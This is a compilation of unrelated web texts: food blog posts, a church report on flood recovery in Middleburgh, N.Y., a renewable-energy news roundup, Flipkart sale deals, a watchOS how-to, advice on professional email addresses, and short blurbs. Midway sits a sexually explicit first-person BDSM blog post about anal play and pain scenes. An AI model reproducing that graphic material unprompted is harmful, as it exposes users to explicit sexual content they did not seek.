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A rather expensive burger
March 22nd, 2015 Posted 12:48 am
Burgers are awesome! I'm living on the perfect continent to satisfy any burger craving. There are diners, bars and restaurants on almost every corner serving a myriad of recipes ranging from the traditional favourites to the highly experimental. I've had a few burgers I would class as 'phenomenal' throughout my time in North America so far: notably at the Three Penny Taproom in Montpelier, Vermont, and at Burger Royal right here in Montreal.
A few months ago my Toronto friends Juilie & Cory told me about a burger restaurant they dined at in the small Ontario city of Cornwall called Truffles Burger Bar. They spoke extremely highly of it and suggested I check it out with them next time they were in town. Such a recommendation naturally piqued my curiosity, and it just so happened that they made the drive back to Cornwall this weekend. I took the hour-long train ride west of Montreal and joined them both in town for lunch today.
To get an idea of what to expect at Truffles, I had a browse through their online menu a couple of days beforehand. The burgers sure sounded impressive – they were definitely on the gourmet side of the scale, ranging from the Surf & Turf (beef, lobster & garlic butter) to the Apple Burger (pulled pork, baked apples & goat cheese). They even had a selection of exotic meats to choose from, such as llama, venison, kangaroo & bison.
However there was one burger in particular that really caught my attention:
Solid Gold Burger
Beef + foie gras + black truffle shavings + 23 kt gold dust + glass of champagne
Price: $100
Are you serious?! I thought to myself. A hundred dollar burger? That's ludicrous! Who in their right mind would want to buy a gold-dusted burger with black truffles for $100?
It didn't take long to come to the realisation that, in fact, I was precisely one of those people who would buy a gold-dusted burger with black truffles for $100.
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Garliced out at the Toronto Garlic Festival
September 21st, 2014 Posted 10:25 pm
Way back in 2009 while living & working in London, my delightful colleagues and I embarked on a team night out to Garlic & Shots, a restaurant in Soho that serves no meal without said ingredient. I recall ordering a pasta dish (the sauce of which was absolutely piled with the spicy white clove) and washing it down with a garlic beer before rounding off the feast with a huge bowl of garlic ice cream. That's not to mention the shot of garlic honey vodka we sampled in the Swedish gothic metal bar below the dining room. I never thought I'd ever experience so much garlic in one sitting again.
Well, I'm pleased to announce today was the day I broke my garlic consumption personal best by a long shot, thanks to the Toronto Garlic Festival. Held annually at the picturesque Don Valley Brickworks, the festival celebrates the harvest of garlic throughout the province of Ontario. With around 80 exhibitors taking part in this year's festival, punters were spoilt for choice when it came to the sheer variety of the bulb available for purchase, garlic-themed cooking demonstrations and garlic-inspired culinary delights – both savoury and sweet.
My afternoon at the event began at the garlic sampling booth, where friendly festival staff spent their time peeling & crushing 'shots' of raw Ontarian garlic into the hands of whoever dared to try. There was also lemon & parsley on hand to add some zest to the fiery mouthful.
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Vegetable Marrow
March 3rd, 2012 Posted 11:01 pm
Here, I present to you the very best of vegetable marrow poetry, straight from the inkwells & quills of 1930's Australian youth:
Oh! vegetable marrow, sweet vegetable marrow,
How beautiful you look to me,
But I like you best when you're dressed
In white sauce for my tea!
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The Mushroom Milkshake
June 5th, 2011 Posted 9:48 pm
Those who know me will know that I absolutely despise mushrooms. I have felt nothing but repugnance for them ever since I can remember.
Some have tried to convert me in the past, but I've always refused to see the light.
If I get fed something containing mushrooms, then admittedly I'll put on the happiest face possible and just eat the dreaded meal, but my soul feels dirty and used for days, sometimes weeks, afterwards.
This happened only a month or so ago whilst visiting my grandmother, bless her. She wasn't aware of my contempt for said ingredient and proceeded to make a mushroom risotto for dinner. My heart sank to my toes when she told me of this. It contained about 10% rice and 90% mushroom, but I somehow managed to get through the entire dish thanks to its saltiness taking my mind off the fungi. By the time I reached the end though, I came to the realisation that I really need to grow some balls and get over this pathetic resentment of mine.
Cut forward to today – this morning I was on the phone to my mum and she suggested that I cook something. I put two and two together and decided to take her up on that suggestion.
So now, ladies and gentleman, I present to you… the Mushroom Milkshake!
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Tags: cooking, disgusting, i am a fool, milkshake, mushroom, phobia
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By Christian Vischi, Special Contributor…
One irony of the 2011 flooding of Middleburgh, N.Y., was that there was too much water to save a barn from fire.
One remnant of the damage done by Hurricane Irene and Tropical Storm Lee is the many shuttered businesses and residences in this community of about 1,500 in Schoharie County.
And one spark of hope comes from a troop of Volunteers in Mission (VIM) who have traveled 50 to 75 miles each way every Monday – since day one – to repair homes in a community where many didn't have flood insurance.
Last August, Hurricane Irene was the first to hit. Less than two weeks later Tropical Storm Lee brought more rain. With the creek having already breached its banks and the ground saturated, there was nothing to hold back the current.
Although the flood waters only lasted about 24 to 36 hours before receding, John "Jack" Hill said homeowners told him that they rose up faster than you could fill a bathtub.
Fields had more than six feet of water above them, just days before they would have been ready for harvest.
Mr. Hill, who is the Albany District VIM coordinator and a member of Valley Falls United Methodist Church, related the story of the barn that had spontaneously combusted from the hay inside. However, the property it was on was located on the west side of Middleburgh, and fire crews could not traverse a bridge, due to the flooding.
As Mr. Hill drove on state Route 30, he pointed out a grocery store, a restaurant, a small strip of stores and an automotive repair shop that – even now – have no visible signs of repair. The only signs displayed are warnings to potential vandals, noting that looters would be prosecuted or worse.
Here come the angels
Teams of volunteers have come from Pennsylvania, Maryland, Michigan and Central New York to help rehabilitate homes in Middleburgh. But the Rev. Carol Coltrain, pastor of nearby Huntersland United Methodist Church, said she is impressed with the devotion of Mr. Hill's group.
"My special angels are Jack and this bunch that come every Monday," Ms. Coltrain said. "They provide real hope because the community sees them, that they are faithful – they are here all the time."
That group consists of about 18 individuals, mostly retired, from eight to 10 large and small churches in the Albany/Troy/Schenectady area.
As Ms. Coltrain says, the community of Middleburgh became a family. Everyone, it seems, chipped in to start the rebuilding, from day one.
The Middleburgh UMC became the home away from home for VIM teams. A shower was added to the men's room there, and a new refrigerator was purchased. Our Lady of the Valley Catholic Church prepared lunches and the Middleburgh UMC provided dinners.
"This was a real ecumenical effort," said Ms. Coltrain, "and an outpouring of faith from the community."
A distribution center was set up at the elementary school by the American Red Cross.
One local business, Ms. Coltrain recalled, completely relied on faith. The hardware store was the first business in the community to reopen. However, without power, the cash register did not work.
"He told people take it and come back later," Ms. Coltrain said of the owner. "They all came back to pay him. … I got this and this and this," they would tell him, she said.
Mr. Hill said that and several other local businesses are frequented by his group and other teams that come to Middleburgh.
"We're not only here to go out and rebuild a home, but to rebuild the people that are there," said Mr. Hill.
The angels' angels
Middleburgh is just one area of the state was affected by the storms of 2011. Vestal, Johnson City, Owego, Tioga Center, Cobleskill, Blenheim and Prattsville are just a few that were devastated by the flooding, and all require financial resources for rebuilding.
To date, about $43,000 has been used in the recovery effort in Middleburgh, said Mr. Hill. "So far, we have met every bill on time."
"We've enjoyed a real warm response from people; churches I didn't even think knew about us have sent in substantial checks," he said.
The Upper New York Annual Conference also contributed $10,000 to their efforts.
Celebrating milestones
In mid-June, members of Mr. Hill's VIM team were the first to use the Shower Trailer, a six-stall mobile shower facility for the UMVIM of the Northeastern Jurisdiction. It also houses a stacked washer and dryer unit. And residents were able to return to the 19th home renovated.
The week of Aug. 3-5, Middleburgh will celebrate its 300th birthday.
Years of rebuilding remain. The grocery store is shuttered and the Reformed Church of Middleburgh is still long way from reopening the sanctuary.
One day the whole community will be restored, just as it was after the last great flood.
"This was originally called the 100-year flood," said Ms. Coltrain, "but now (they are) referring to it as the 500-year flood." The last big flood was in 1956.
"Fifty-six was a whale of a flood," she said, "but not like this."
Christian Vischi is the communications associate for the Upper New York Annual Conference.

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What a difference a week makes! Our weather here in the Cumberland Valley is just beautiful this weekend! Time to enjoy some hiking or biking or riding in our area. The leaves are so colorful - even after the snow of last week - that a drive around the area would be a perfect pastime!
Call to make your reservation for your getaway to Pheasant Field Bed & Breakfast.
Saturday, November 5, 2011
Beautiful Fall Getaway in Carlisle PA
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Meant to Be (The Saving Angels Series Book 1)
Category: Romance, Paranormal, Angels, Teen & Young Adult, Literature & Fiction, Social & Family Issues, Emotions & Feelings
Description and OverviewMeant to Be is book 1 of the Saving Angels trilogy
Other YA books by Tiffany King:
Forgotten Souls (The Saving Angels book 2)
The Ascended (The Saving Angels book 3)
Wishing For Someday Soon
Forever Changed
Unlikely Allies
Jordyn: A Daemon Hunter Novel book 1
Jordyn and the Caverns of Gloom: A Daemon Hunter Novel book 2
New Adult books by Tiffany King
No Attachments: A Woodfalls Girls Novel
Misunderstandings: A Woodfalls Girls Novel
Contradictions: A Woodfalls Girls Novel
Cross Country Christmas: A Woodfalls Girls Novella
Krista Miller feels like she has lived her entire life in a glass box with her every emotion on display. She can't help feeling like a defect as her sensitivities have made her socially inept and without any real friends; the one exception being the boy that visits her each night in her dreams.
Krista's emotions are put to the test when a move to California triggers a devastating change to her fantasy world. The nightly comfort that the boy provides has now become a recurring nightmare as he is taken from her by an unseen force.
Struggling to appear normal, Krista enrolls in a new school and finds it to be nothing like she thought. Her new life is sent spiraling out of control from a strange connection with a boy, Mark, who claims to know all her secrets.
As Krista begins to explore the emotions that Mark evokes in her, secrets about their mysterious past and their predestined purpose threatens to separate them just when they have found each other.


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It's true. We have a lot of buttplugs.
Glass, rubber, some kind of cool silicone stuff, steel.
We actually have a lot of toys in general meant to be stuffed into a willing (and sometimes, not quite so willing) butt hole. Anal beads, anal probes, dildos of various shapes and sizes. Oh, and cocks, of course. The one thing we don't do is shove things up there that aren't specifically made for anal play. W might shove pervertables like a broom handle, various tools, a pipe, a baseball bat and other random objects up my cooch, but neither of us wants an anal accident, so it is only "tested and approved" anal toys that we shove where the sun don't shine.
And most often the things shoved in there are buttplugs.
From a purely physical perspective, I like the ache of that wide, insistent push into my body, of my body resisting, stretching painfully – almost too painfully – before it accepts it and the plug settles in, allowing my sphincter muscle to close around the neck of the toy. After that there is only the pleasurable stretch deep inside around the bulb of the plug, and the weight of it, reminding me that it is there. This is especially true of the steel plugs with their narrow necks – not so much with many of the others, whose wider necks tend to be almost unbearable after only a short time.
Buttplugs hit some wonderful mental triggers for me as well. They drop me into a submissive headspace, especially if I am wearing it at his command – and even more so when I don't "want" to. I get a delicious thrill from wearing one in public, under my vanilla clothes, knowing that he knows I am wearing it but no one else does. The discomfort of it the longer I wear it only reminds me of my role in our sexual relationship, and reinforces it.
And as for how buttplugs feel sexually…I LOVE sex with a buttplug inside me. As he rocks against me, he pushes it subtly back and forth, exciting and igniting the nerve endings there. I love the weight of it and his thickness stroking it through the thin membrane between his cock and the plug.
Oh yeah, I like me some buttplug play.
Of course (as might be expected) W likes to use them in a slightly more punitive fashion. Remember this: An Enema, a Buttplug & Some Rope? Or perhaps the delight of last year's Anal August (even if we didn't succeed at all the things on the list, the ones we did do were hot!) Oh, and Jesus, I just ran across this accounting of a special date I went on with W early on (only a bit of buttplug play, but that little bit hints so deliciously at the attitude that I love when he gets into "Mean Guy" mode, as he so often does when it comes to anal play.) Oh, oh oh…and here, from my post Anal Slut:
The other day, when W had me wear a buttplug to lunch, it was as much the insertion of it–and the remembered embarrassment of that act–as it was the wearing of it that got to me. The whole time, as we drove to restaurant, while we walked inside, as we sat at lunch, I knew that he knew I had this thing in my ass, and that I had presented myself to him so that he could push it inside me, and I had that image in my head, staring me in the face, so to speak.
Remembering laying across his bed, knowing he was behind me, looking at my ass–no let's be brutally honest here, not just my ass, men look at my ass all the time and it doesn't embarrass me–looking at my asshole. If I could have squirmed away right then I would have. And then I felt his finger slide around the outside, felt the lube he was (kindly) using, and the image of it was almost too much to bear. I held my breath, squeezed my eyes shut; I didn't want the embarrassment of watching what he was doing even in my imagination. And he hadn't even put anything inside me yet. It was that knowledge, that he had that power over me, to tell me, "we are going to do this," to make me open myself, that secret part of myself, to him that way, that made my stomach do flip-flops, that fucked with my head later.
There were the physical sensations: the feeling as he slid his finger into my asshole, such a deliciously embarrassingly pleasurable sensation; the slight release and relief and bit of disappointment as he slid his finger back out before placing the buttplug just there, at that tight opening of flesh; the pressure as he pushed it in, forcing me to open to it; the pain of pushing it all the way in, before the almost-bliss when it was finally all the way in; and the feeling of it stretching me painfully, filling me. And there were the emotional sensations: acute embarrassment, denial that I want it, that I want to feel exposed and made vulnerable this way. And the images all the while in my head, playing like a dirty movie: him standing over me, my legs and ass spread for him, his finger in my asshole, his hand pushing the plug inside me, and me, opening to him, my asshole spreading around the buttplug, clenching around it and holding it tightly inside me. It was enough to send me spiraling into subspace, just that easily. Nice.
That lunch date, one of our first, is one of my favorite memories, and still makes me throb with heat and need. Don't get me wrong – that plug (one of his rubber ones, which I really don't like) made for a terribly uncomfortable lunch. I was not well trained in the use of plugs, and two hours with it inserted was pretty miserable. But he had made me take it, made me wear it, made me sit through lunch squirming.
I was in heaven.
Having mentioned how W likes to use buttplugs in play, I don't think this post would be complete without a picture story to illustrate the kind of scene I'm talking about.
This one was a predicament scene. My Njoy 2.0 was tied off to a bolt in the ceiling, forcing me to keep my ass in the air if I didn't want to cause myself discomfort from it – a position that rapidly became exhausting on my thighs. But that wasn't the only consequence of lowering my knees to the floor – there were clothespins on my nipples, tied to another bolt in the floor, and because of the way he had my arms tied, if I went down on my knees, the pins pressed into the floor, causing pain there.
Then there was the pokie pad under my wrists (and shins at one point.)
Oh, and gag and the clothespin on my tongue. Did I mention that?
Here, I'll just let you see for yourself…
Because, even after all that, that stupid Njoy still made me want to fuck.
So we did.
As I said, I like me some buttplug play…
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- Austrian electricity utility Verbund has announced plans to mothball or permanently shut around 2.5 GW of power generation capacity to minimize losses at the power plants that are being squeezed out by subsidized renewable energies. [Wall Street Journal]
- The UK's Department of Energy and Climate Change confirmed that it is planning on removing support for solar power under the Renewable Obligation scheme from 1 April 2015 for developments over 5 MW. [Solar Power Portal]
- Germany has set yet another new record for itself. Last Sunday, renewable energy, including wind, solar, hydro, and biomass, accounted for 74% of national demand during the middle of the day (when the sun was at its peak), Renew Economy has reported. [The9Billion]
- Woodfibre LNG announced Tuesday it will use electricity from hydro facilities instead of gas to power cooling compressors for its proposed $1.6 billion liquefied natural gas plant near Squamish. The move will reduce greenhouse gas emissions from the compressors by 80%. [Vancouver Sun]
- The percentage of onshore wind farms being rejected rose dramatically in the UK last year, leading the renewable energy trade body to accuse the Conservative party of "heavy-handed intervention" in the planning process. [Business Green]
- If there was any doubt that the election of the Abbott Government might slam the brakes on Australia's climate and clean energy progress, it's now over. With the Government's first budget, it's reversing at full speed. [ABC Online]
- Northland Power has begun off commercial operations at the 60 MW McLean's Mountain wind farm on Manitoulin Island, Ontario. The project was completed on time and on budget, and has a 20-year power purchase agreement with the Ontario Power Authority. [reNews]
- Hanergy Solar Group, a Hong Kong-based renewable-energy company, is planning a 50-MW solar project in eastern China that will cost 627.6 million yuan ($100.8 million). The project is expected to begin construction next month and will be completed by March 2016. [Businessweek]
- Increases in efficiency, solar, wind and biomass are seen as long-term threats to fossil fuel interests. A report from the Edison Electric Institute warned that if state incentives are not rolled back, "it may be too late to repair the utility business model." [The Rock River Times]
- A Colorado federal district court Friday rejected a constitutional challenge to the state's renewable energy portfolio law, concluding that it did not impose an impermissible burden on interstate commerce. [The National Law Review]
- Since last summer, California has had a net increase in generating capacity of 3,243 MW, 68% of which is renewables the rest comes from added gas. This is sufficient to meet summer peak conditions state despite low hydroelectric supply from the state's drought. [Natural Gas Intelligence]
- Massachusetts is accepting applications for SREC II, the second phase of the commonwealth's renewable portfolio standard (RPS) solar renewable energy certificate (SREC) program. SREC II is intended to meet the goal of reaching 1.6 GW of installed solar capacity by 2020. [Solar Industry]
- NRG Residential Solar Solution has built a solar project in Rutland, Vermont. The 140 kW photovoltaic solar array can provide energy to around 50 Green Mountain Power customers, mainly signed up for the project. [Argyll Free Press]
- Senators Barbara Boxer, Ed Markey, and Bernie Sanders introduced a trio of bills meant to tighten safety and security at plants winding down operations around the country, and to give local governments more meaningful roles in the process.[The Hill]


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The Flipkart Big Diwali Sale has just kicked off and is now open for everyone, after an exclusive early access for Flipkart Plus members. Flipkart's third festive season sale this year will run from November 1 to November 5 with deals and offers across all major product categories. The Walmart-owned online marketplace has tied up with State Bank of India to offer 10 percent instant discount to its credit and debit card users during its latest sale. The discount is also valid on EMI transaction and is capped at Rs. 4,000 per card on a minimum purchase value of Rs. 4,999. Meanwhile, Amazon will also run its Great Indian Festival sale on the other side from November 2 to November 5. This is another chance in case you missed out during the last two online festive season sales.
We have picked out some of the best deals and offers available on Flipkart's third festive season sale right now.
Xiaomi Poco F1
The Xiaomi Poco F1 (6GB, 128GB) is down to Rs. 21,999 (MRP Rs. 24,999) during Flipkart Big Diwali Sale. There's an exchange offer that promises to take off another Rs. 14,900 (maximum) from the listed price and if you're swapping a used OnePlus device you get Rs. 3,000 extra discount. The Poco F1 features a 6.18-inch full-HD+ display and is powered by the Snapdragon 845 SoC. It is also confirmed to receive Android 9.0 Pie later this year and Android Q updates sometime later on.
Price: Rs. 21,999 (MRP Rs. 24,999)
Pureit H101 air purifier
This is an ideal season to buy an air purifier and if you're in the market for something portable, the Hindustan Unilever Pureit H101 air purifier is down to Rs. 6,499 (MRP Rs. 15,590) during the Flipkart sale. The air purifier can cover an area of 480 square feet and includes a three-stage air purification system. There's an air purity indicator as well that samples the room's air every 2 seconds, according to the company.
Price: Rs. 6,499 (MRP Rs. 15,590)
Sennheiser PXC 550 Bluetooth headphones
The Sennheiser PXC 550 wireless headphones are available at a discounted price of Rs. 15,999 (MRP Rs. 29,990) right now. SBI credit card users can avail an additional 10 percent instant discount on their purchase. The wireless headphones promise a comfortable experience, making them suitable for use while travelling. They feature adaptive noise cancellation capabilities and touch-sensitive trackpads. The foldable design makes them very easy to carry around. At this price, these sound like a good deal and may run out pretty quickly.
Price: Rs. 15,999 (MRP Rs. 29,990)
Blaupunkt SBW-01 Bluetooth soundbar
Here's another chance to grab the affordable Blaupunkt SBW-01 soundbar at a discount. Currently down to Rs. 5,999 (MRP Rs. 16,990) during Flipkart Big Diwali Sale, the soundbar can be hooked up with an HDMI connection to your big-screen TV. You can also connect the soundbar with your mobile devices via a Bluetooth connection. It comes with a remote control as well as a wired subwoofer. This is a slightly older model but it's still a great package at this price.
Price: Rs. 5,999 (MRP Rs. 16,990)
MSI GL series 15.6-inch laptop
The MSI GL series gaming laptop (GL63-8RC) is currently available at a discounted price of Rs. 57,990 (MRP Rs. 74,990) during the big Flipkart sale. The laptop is powered by Intel's 8th generation Core i5 processor, supported by 8GB of RAM. It ships with a conventional 1TB hard drive and runs Windows 10 out-of-the-box. The graphics are handled by the Nvidia GeForce GTX 1050 graphics card, supported by 4GB of video RAM. The bundled exchange offer can further sweeten the deal by up to Rs. 8,500.
Price: Rs. 57,990 (MRP Rs. 74,990)
JBL Flip 3
In case you missed it earlier, the JBL Flip 3 portable speaker is again available at Rs. 4,299 (MRP Rs. 9,990) on Flipkart right now. SBI credit card users can avail an additional 10 percent cashback. JBL promises a great sound and the speaker itself is splash proof, making it perfect for outdoor usage.
Price: Rs. 4,299 (MRP Rs. 9,990)
Microsoft Xbox One X 1TB with PUBG
The Microsoft Xbox One X 1TB is down to Rs. 38,990 (MRP Rs. 50,590) during the Flipkart Big Diwali Sale right now. It comes bundled with Player Unknown's Battleground. If you were waiting for a discount all this while, here's one more chance to grab the Xbox One X. In case you've got an ancient console lying around, you could swap it for another Rs. 1,500 (maximum) discount.
Price: Rs. 38,990 (MRP Rs. 50,590)
Asus ZenFone 5Z (6GB, 64GB)
The Flipkart Big Diwali Days sale is offering you another chance to grab the ZenFone 5Z at Rs. 24,999 (MRP Rs. 29,999). The smartphone is powered by the Snapdragon 845 SoC, supported by 6GB of RAM. The ZenFone 5Z comes with a 6.2-inch full-HD display and a dual rear camera setup along with an 8-megapixel front-facing camera. The phone also includes a 3,300mAh battery.
Price: Rs. 24,999 (MRP Rs. 29,999)
Google Chromecast 2
The previous generation Google Chromecast is down to Rs. 1,999 (MRP Rs. 3,399) during the Flipkart sale right now. The Chromecast 2 sticks to an HDMI port on your TV and lets you stream content from a mobile device or a desktop to your TV. The device is quite simple to setup and use. It's worth mentioning here that Google has just recently launched the Chromecast 3 in India, but if you're not too keen on spending Rs. 3,499 on it, the Chromecast 2 is still a decent buy at this price.
Price: Rs. 1,999 (MRP RS. 3,399)
Asus ZenFone Max Pro M1
The Asus ZenFone Max Pro M1 is again available at previous festive season sale prices on Flipkart. The 6GB RAM, 64GB storage variant is down to Rs. 12,999 (MRP Rs. 14,999). There's a bundled exchange offer with an instant discount up to Rs. 11,700. The 4GB RAM, 64GB storage variant is also available at a discounted price of Rs. 10,999 (MRP Rs. 12,999) during Flipkart Big Diwali Sale. The ZenFone Max Pro M1 comes with a 5.99-inch FHD display and a massive 5,000mAh battery. It is powered by the Snapdragon 636 SoC, supported by 4GB/6GB of RAM, depending on the variant you pick.
Price: Rs. 12,999 (MRP Rs. 14,999)
Nokia 5.1 Plus (3GB, 32GB)
The Nokia 5.1 Plus is available at a discounted price of Rs. 10,499 (MRP Rs. 13,199) during Flipkart Big Diwali Sale right now. This is the same deal we saw during the Flipkart Big Billion Days and the Festive Dhamaka Days sale earlier this month. You can exchange your old smartphone and receive up to Rs. 9,750 as an instant discount. The Nokia 5.1 Plus features a 5.8-inch HD display and is powered by the MediaTek Helio P60 processor. It includes a dual camera setup at the rear and a 3,060mAh battery. No-cost EMI options are also available on select debit and credit cards.
Price: Rs. 10,499 (MRP Rs. 13,199)
Samsung Galaxy On Nxt (3GB, 64GB)
The Samsung Galaxy On Nxt is available at one of its all-time lowest price of Rs. 9,990 (MRP Rs. 17,900), for the third time this month. If you factor in the exchange offer with up to Rs. 9,200 discount and the bundled Axis Bank 10 percent instant discount, you can get a pretty decent deal. The Galaxy On Nxt comes with a 5.5-inch display and is powered by the Exynos 7870 octa-core processor, supported by 3GB of RAM. It includes a 13-megapixel primary camera at the back and an 8-megapixel front-facing camera.
Price: Rs. 9,990 (MRP Rs. 17,900)
LG 43-inch smart LED TV
The 2018 edition of LG's 43-inch smart LED TV is down to Rs. 39,999 (MRP Rs. 57,990) on Flipkart Big Diwali Sale. That's around Rs. 5,000 less than its usual selling price. The TV comes with three HDMI slots and two USB slots. It features LG's new AI ThinQ branding which essentially means it includes several AI-powered features. You can control the TV using voice commands by pressing a button on the bundled Magic Remote. The TV also ships with a flexible wall mount brackets so you can adjust viewing angles if needed.
Price: Rs. 39,999 (MRP Rs. 57,990)
VU Iconium 55-inch 4K smart LED TV
If you're eyeing a big-screen smart TV at a budget, the VU Iconium 55-inch smart 4K LED TV is available at Rs. 36,999 (MRP Rs. 67,000) on Flipkart right now. The bundled exchange offer can help provide another additional discount worth up to Rs. 15,000. The TV includes three HDMI slots and two USB slots. VU promises a great viewing experience with the A+ grade panel on the TV. The VU Iconium smart LED TV runs on Android 7.0 and the bundled remote control includes dedicated buttons for YouTube, Hotstar and others. At a price well below the Rs. 40,000 mark, this is a decent deal.
Price: Rs. 36,999 (MRP Rs. 57,000)
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watchOS 3 is widely considered to be a major shot in the arm for Apple Watch. Apart from a redesigned UI, there are a number of exciting features like iOS-style Control Center that have immensely enhanced the user experience.
As soon as I had a look at the watchOS 3 and gave it a try for a couple of days, it really passed my acid test with good marks.
One of the things that I like about the latest watchOS version is that it's a lot easier to add, change, remove or even rearrange Apple Watch face. Besides, you can do it all without even touching your smartwatch-right from your iPhone!
How to Manage Watch Faces in watchOS 3
How to Add a New Apple Watch Face in watchOS 3
Step #1. Launch the Watch app on your iPhone.
Step #2. Next up, you have to tap on Face Gallery tab from the bottom.
Step #3. On the next screen, you will see a lot of cool watch faces. Select the one you like and then tap on it.
Step #4. Up next, you have the option to customize the watch face and add complications as per your liking.
Step #5. In the end, tap on Add to include it in the list of My Faces.
Now, you can set it as your Watch face anytime you want. (Adding a new watch face on Apple Watch is same as before. Press on the display of your Apple Watch face, then swipe all the way to the right and tap on the (+) icon to add, swipe up/down to scroll through the available watch faces, tap on the one you like to add.)
RELATED: How to Change Watch Face in watchOS 3
How to Remove/Rearrange Watch Faces in watchOS 3
Step #1. Open Watch app on your iPhone.
Step #2. Make sure My Watch tab is selected at the bottom. Next up, you have to tap on Edit which is before MY FACES.
Step #3. Now, if you want to remove any watch face, simply tap on the red button to the left of it and then tap on Remove.
Step #4. Finally, you need to tap on Done from the top right corner to confirm the change.
You can tap on a watch face from the MY FACES list and then tap on the Remove Watch Face.
In order to rearrange the watch faces, simply hold on the "three small lines" and drag it where you want to place it.
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Remembered as the Ruby Phoenix, the legendary sorcerer Hao Jin disappeared without a trace centuries ago never to be seen since. The Pathfinder Society has spent much of the past decade exploring her vast museum demiplane, yet in recent years the demiplane's very existence has begun to unravel, threatening to cast its contents into the void. The Society's leaders believe that only Hao Jin herself might be able to repair her creation, and a new lead at last reveals where she had gone: the realm of perfect law, Axis. As elite agents, the PCs must track her down and convince her to save the tapestry demiplane and all of the creatures that live there.
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The word "professional" is attached to the notion of the electronic mail account when used for business purposes. However, if we deepen into this issue, a professional email address example refers to a definite subscript of the mailbox on the domain name. As a rule, the latter notion represents the website of your company. However, this paragon is not a strict rule since such brands as Google, Yahoo and dozens of others offer a free and convenient way of email dialog on the web. So, you can frequently encounter a decent business or sales people opting for @gmail.com or @yahoo.com domains for creating a professional email account.
At the same time, the first part of the address is no less significant for your sales pipeline, as it influences directly your credibility. Do you agree that a trustworthy and respectable domain like @tesla.com or @samsung.com would be a bit spoilt if it starts with "sexylady1978" or "rocketman9786"? It means that a professional email username is as relevant as the words after the "at" sign.
Why Do Users Need Good Email Names?
Before the development of digital technologies, the business interaction was performed via simple postal communications. The twenty-first century was marked by the obsolescence of envelopes, postage stamps, and other related activities. Mail service has been upgraded to the faster and advanced level.
However, the idea of mail communication has not vanished. Moreover, the introduction of such notion as "spam" forced people to become more attentive and watchful to a sender's requisite details. For example, even a worthy offer sent by your sales team can be neglected by the bulk of users if it is sent by a contact with frivolous username and untrustworthy domain. Hence, good email names play an important role in the world of business and commercial interaction.
We are glad to introduce ten rules of choosing an appropriate email account accompanied with professional email address examples.
Rule 1: Domain Reflects Your Credibility
We are all used to communicating in Gmail, which is one of the best email tools so far. But although the words "google" and "outlook" are associated with prominent companies, they seriously lack uniqueness since anyone can create an email account using these resources. The preferred option involves a one-of-a-kind domain name that corresponds to the name of your company. It is not necessary to be familiar to a recipient of your email. However, an exceptional title after the "at" sign is the hallmark of business email format.
Let's compare two professional email address examples: email@example.com and firstname.lastname@example.com. It is likely that a sales pitch from the latter email address would be more appealing than from its regular analog.
Rule 2: Leave Nicknames for Your Personal Communication
Some users have dozens of email accounts for various purposes. We do not encourage such way of communication but there is nothing censurable in this approach. Everyone has own vices and virtues but all they should have nothing in common with the business activity.
For this reason, any nicknames or secondary identities reflected in the name of email account should be excluded. The name "blackkitty" or "masterofdragons" is not a suitable professional email address example.
Rule 3: Exclude Numbers
The population of the globe is more than 7 billion people. What is the probability to have unique name and surname? Indeed, people with common names like John Smith experience serious troubles with choosing an email address. Options containing numbers together with username are offered frequently at free email resources as an alternative.
As a result, a user can choose from "johnsmith2013" or "19johnsmith78" and other miscellaneous offers. Unfortunately, the tough world of business does not care about any excuses and email accounts containing numbers are considered as untrustworthy or unreliable contacts.
Rule 4: Generic Names for Certain Purposes
Such business email address examples as email@example.com or firstname.lastname@example.com are very widespread in the space of the web. Their main peculiarity is the absence of an individual attribute. Such email account represents a certain service or department of the company without any reference to a particular executive. Naturally, the domain name plays a decisive role in the recognition of a sender. However, this approach is a great solution for setting an email account used for particular purposes.
Rule 5: Avoid Indicating Positions or Miscellaneous Regalia
Experience has shown that a human imagination in composing email addresses is endless. For example, the user "ingridengineer89" definitely needs to learn how to make a professional email account. On the one hand, this example has an exceptional peculiarity namely the indication of a user's position or skill. However, a recipient is unlikely to care much about this particular information. Miscellaneous titles of regalia are better to place at the end of the email instead of the address.
Rule 6: Sexual Character
It is commonly known that some names are used by both men and women. Actually, this fact refers to not only English but also many other languages. Therefore, the sex of a sender is not always understandable according to its address name. Nevertheless, this little trouble should be explained in the email signature line rather than in the email address.
Rule 7: Race, Religion and Gender Marks
You might be very proud of your affiliation to a certain religion or race but it is not the reason to reflect it in the address. A professional email username must be free of any references to your personal (not related to business) properties or peculiarities. Focus on your business needs and avoid any extra personalization.
Rule 8: Avoid Anything Characterized as Unprofessional
Anyone has a personal life that is rarely associated with business activities. Would you be willing to receive personal information to your business mailbox and vice versa? The answer is likely "Not".
The same relates to electronic mails. In addition to the above-mentioned rules how to write a professional email address, the exclusion of any unprofessional stuff should be subjoined. Your professional identity might be drastically different from the personal one. However, you should separate them from each other.
Rule 9: Full Name Is Not Always a Fit
This rule is applied to certain users who are lucky to have several names given at birth. This attribute is common for people with Latin-American origin. Nevertheless, representatives of other particular cultures can also boast of accumulation of names. Based on this fact, it is not necessary and even undesirable to insert all names available. A common template of professional email address includes a name and a surname.
Rule 10
As the final rule, we decided to introduce several business email address examples that are common for business interaction. The imaginary user has a full name Andreas Turbin and he works at the MakeMyDay Company. Let's have a look what option he may choose for a proper professional email account.
Full Name: firstname.lastname@example.com
First Name: email@example.com
Last Name: firstname.lastname@example.com
First Name + Last Initial: firstname.lastname@example.com
First Initial + Last Name: firstname.lastname@example.com
Bottom Line
The above-mentioned rules how to make a professional email account are not aimed at restricting your imagination or creativity in composing email requisites. Obviously, there are some cases when a business is associated with a certain level of creativity when personnel has to express its uniqueness in any aspect including email address. However, in most situations, professionalisms mean exclusion of extra features and focus on strict and accurate data such as name and surname in the electronic mail account.


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MacBooks are popular computers and their use as day-to-day laptops has increased; sales are up in Apple stores and the MacBook Pro evolves every year. These machines, although high performers as laptops go, are still prone to hardware failure. The most common circumstances are simple breakage, where a MacBook repair shop can swap out damaged parts and have the machine up and running again in no time. Apple stores and Apple retailers on the other hand, may take longer. Many Apple Stores will not take on repairs at all, but pass them on to a local Apple repair center.
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John Newman has made waves in his native UK and beyond with his throwback-inspired sound and spine-tingling vocals of yesteryear's Motown icons. Backstage at Coachella 2014, Fuse's 2014 breakout artist pick says he's got his mom's raver-like past to thank.
